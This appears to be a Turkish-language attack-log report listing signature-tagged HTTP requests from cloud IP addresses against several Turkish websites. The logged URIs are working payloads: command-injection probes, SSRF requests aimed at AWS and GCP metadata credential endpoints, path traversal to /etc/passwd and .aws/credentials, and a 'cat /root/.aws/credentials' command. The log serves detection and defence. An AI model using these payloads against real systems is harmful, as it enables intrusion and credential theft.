09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET404CMDI,EXEC_API/api/system?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET302CMDI/admin/?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET200CMDI/admin/login.php
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI/admin/config?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI,EXEC_API/api/system?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI/cgi-bin/test?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET301CMDI/admin?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET302CMDI/admin/?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET200CMDI/admin/login.php
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI/system?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI/debug?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:07 +0300cadiroglubelge.com.trGET404CMDI/run?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:08 +0300cadiroglubelge.com.trGET404CMDI/debug?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:08 +0300cadiroglubelge.com.trGET404CMDI/system?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:08 +0300cadiroglubelge.com.trGET404CMDI/run?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:16 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:17 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:18 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:19 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404AWS_METADATA_SSRF/cgi-bin/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail
09/Aug/2026:21:31:20 +0300cadiroglubelge.com.trGET404GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail
12/Aug/2026:16:13:14 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:16:14:34 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
35.234.186.76 — 113 saldırı imzalı istek / 275 toplam istek

Prefix: 35.234.176.0/20 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:16 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:17 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:17 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Aug/2026:12:17:17 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:17 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:19 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
12/Aug/2026:12:17:19 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PASSWD_FILE/@fs/etc/passwd?import&raw??
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PROC_ENVIRON/proc/self/environ
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PASSWD_FILE/media../etc/passwd
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PASSWD_FILE/files../etc/passwd
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/static../.aws/credentials
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/credentials
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Aug/2026:12:17:20 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Aug/2026:12:17:21 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:24 +0300ergarnakliyat.comGET404PASSWD_FILE/static../etc/passwd
12/Aug/2026:12:17:26 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:26 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:26 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:27 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:27 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:29 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:29 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:30 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:12:17:30 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials.bak
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/backend/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?import&raw??
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/home/ubuntu/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/root/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/app/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/credentials.json
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/api/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/home/ec2-user/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials.old
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/home/node/.aws/credentials
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?import&raw??
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:34 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:35 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Aug/2026:12:17:35 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Aug/2026:12:17:35 +0300ergarnakliyat.comGET404GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
12/Aug/2026:12:17:35 +0300ergarnakliyat.comGET404GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
12/Aug/2026:12:17:41 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/metadata/iam/security-credentials/
12/Aug/2026:12:17:41 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/iam/credentials.json
12/Aug/2026:12:17:41 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/iam/ecs-task-credentials.json
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/ecs-task-credentials.json
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/api/aws/credentials
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/ecs-task-credentials
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/api/v1/aws/credentials
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/ecs/task-credentials
12/Aug/2026:12:17:42 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/ecs/task-credentials.json
12/Aug/2026:12:17:46 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/iam/temporary-credentials
12/Aug/2026:12:17:46 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/aws-credentials.json
12/Aug/2026:12:17:48 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/google-service-account.json
12/Aug/2026:12:17:48 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/gcp-service-account.json
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/metadata/iam/security-credentials
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/metadata/iam/security-credentials/
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/s3/credentials.json
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/s3/credentials.bak
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/aws/s3/credentials.yml
12/Aug/2026:12:17:49 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/data/aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/public/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/hidden/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_METADATA_SSRF/latest/meta-data/iam/security-credentials/
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/tmp/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/private/aws_credentials.json
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/internal/aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/internal-api/aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/s3/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/vendor/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/vendor/aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/pms?module=logging&file_name=../../../../../../.aws/credentials&number_of_lines=10000
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/admin/config?cmd=cat+/root/.aws/credentials
12/Aug/2026:12:17:50 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
12/Aug/2026:12:17:55 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
12/Aug/2026:12:17:55 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php~
12/Aug/2026:12:17:55 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
12/Aug/2026:12:17:55 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.swp
12/Aug/2026:12:17:56 +0300ergarnakliyat.comGET404SERVICE_ACCOUNT/deploy/service-account.json
12/Aug/2026:12:17:56 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
12/Aug/2026:12:17:56 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
12/Aug/2026:12:17:58 +0300ergarnakliyat.comGET404SERVICE_ACCOUNT/backend/service-account.json
34.84.245.44 — 90 saldırı imzalı istek / 321 toplam istek

Prefix: 34.84.0.0/16 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
29/Aug/2026:14:05:17 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
